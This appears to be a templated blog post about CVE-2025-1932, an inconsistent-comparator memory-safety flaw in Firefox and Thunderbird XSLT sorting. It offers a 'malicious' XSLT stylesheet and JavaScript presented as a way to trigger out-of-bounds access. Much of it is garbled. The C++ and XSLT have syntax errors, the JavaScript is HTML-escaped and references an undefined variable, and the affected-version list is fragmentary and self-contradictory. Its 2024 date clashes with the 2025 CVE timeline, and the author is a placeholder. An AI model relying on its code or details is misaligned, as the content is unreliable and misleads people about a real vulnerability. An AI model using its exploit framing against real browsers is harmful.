Published: 2024-06-25 <br>Author: [YourName]


Mozilla has recently disclosed a new security flaw, CVE-2025-1932, affecting the xslt/txNodeSorter code used in both Firefox and Thunderbird. This serious bug, found in version 122 and later, can lead to out-of-bounds memory access and possibly code execution. Here’s an easy-to-follow, exclusive breakdown of what went wrong, why it’s dangerous, and how you can see the issue in action.

What Is the Vulnerability?

The root cause of CVE-2025-1932 is an inconsistent comparator in the xslt/txNodeSorter file. This comparator is used to sort XML nodes during XSLT transformations. If the comparator behaves inconsistently (returns different comparisons for the same inputs), it can break C++ sort algorithms, leading to out-of-bounds access or memory corruption.

Thunderbird ESR: All versions up to 128.8

If you’re using anything older or not listed above, you aren’t affected. If you’re on those versions, update ASAP!

References:
- Mozilla Security Advisory 2025-15
- Bugzilla Bug 1999902

Here’s a simplified version of the sorting code (src: xslt/txNodeSorter.cpp)

// Pseudo-simplified comparator used for XSLT node sorting
bool NodeSortComparator(txNode* a, txNode* b) {
    int sortPriorityA = a->priority();
    int sortPriorityB = b->priority();

    // The bug: This condition could flip based on state changes during sort!
    if (a->needsSpecialHandling() || b->needsSpecialHandling()) {
        // Edge case: special comparison (inconsistent return!)
        return random() % 2 == ;  // <-- Example: Will return true or false randomly!
    }

    return sortPriorityA < sortPriorityB;
}

Issue:
Some states in the comparator depend on transient state (such as needsSpecialHandling() or other dynamic values). This breaks the requirement that comparators must return the same result for the same pair during a sort operation.

Why It’s Dangerous:
When a C++ standard library sorting method (std::sort) uses an unreliable comparator, it may miscalculate swap boundaries and go past buffer ends, resulting in out-of-bounds reads or writes.

Exploit Details: Triggering Out-Of-Bounds

What can attackers do?

Let’s see how an attacker could abuse this in JavaScript within Firefox

<!-- malicious.xslt -->
<xsl:stylesheet version="1."
    xmlns:xsl="http://www.w3.org/1999/XSL/Transform">;
  <xsl:template match="/">
    <result>
      <xsl:for-each select="root/node">
        <xsl:sort select="." data-type="number"/>
        <xsl:copy-of select="."/>
      </xsl:for-each>
    </result>
  </xsl:template>
</xsl:stylesheet>

// JavaScript to load the XSLT and trigger the bug
let xml = &lt;root&gt;${&quot;&lt;node&gt;1&lt;/node&gt;&quot;.repeat(2048)}&lt;/root&gt;;
let parser = new DOMParser();
let xmlDoc = parser.parseFromString(xml, "text/xml");

let xsltDoc = parser.parseFromString(xslt_content, "application/xml");
let xsltProcessor = new XSLTProcessor();
xsltProcessor.importStylesheet(xsltDoc);

let result = xsltProcessor.transformToDocument(xmlDoc);

// The attacker can force sorting operations to go out-of-bounds here

If the XSLT comparator uses side effects or inconsistent logic (maybe influenced by external script or repeated nodes), this can corrupt memory.
NOTE: Publicly-available PoCs will often not have reliable code execution but may cause a browser crash or information leak.

Real-World Impact

- Remote Code Execution: If out-of-bounds writes can be shaped, attackers could run arbitrary code in the context of the browser or mail client.

The Fix

Mozilla patched txNodeSorter to guarantee consistent comparator behavior. If you use Firefox, Thunderbird, or any ESR versions, update right now.

- Firefox Download Page
- Thunderbird Download

References and Further Reading

- Official advisory: https://www.mozilla.org/en-US/security/advisories/mfsa2025-15/
- CVE entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-1932
- Mozilla bug tracker: https://bugzilla.mozilla.org/show_bug.cgi?id=1999902
- OWASP: Insecure Comparator Functions

TL;DR

CVE-2025-1932 is a major memory safety bug in Firefox and Thunderbird’s XSLT node sorting. It only affects version 122+, up to the latest unpatched releases. Inconsistent comparator logic can lead to out-of-bounds memory access, crashes, and possibly code execution. Update your software now and stay safe!


Stay up to date with Mozilla advisories and remember: Your browser/email is only as safe as the latest patch!

Timeline

Published on: 03/04/2025 14:15:38 UTC
Last modified on: 03/05/2025 00:15:36 UTC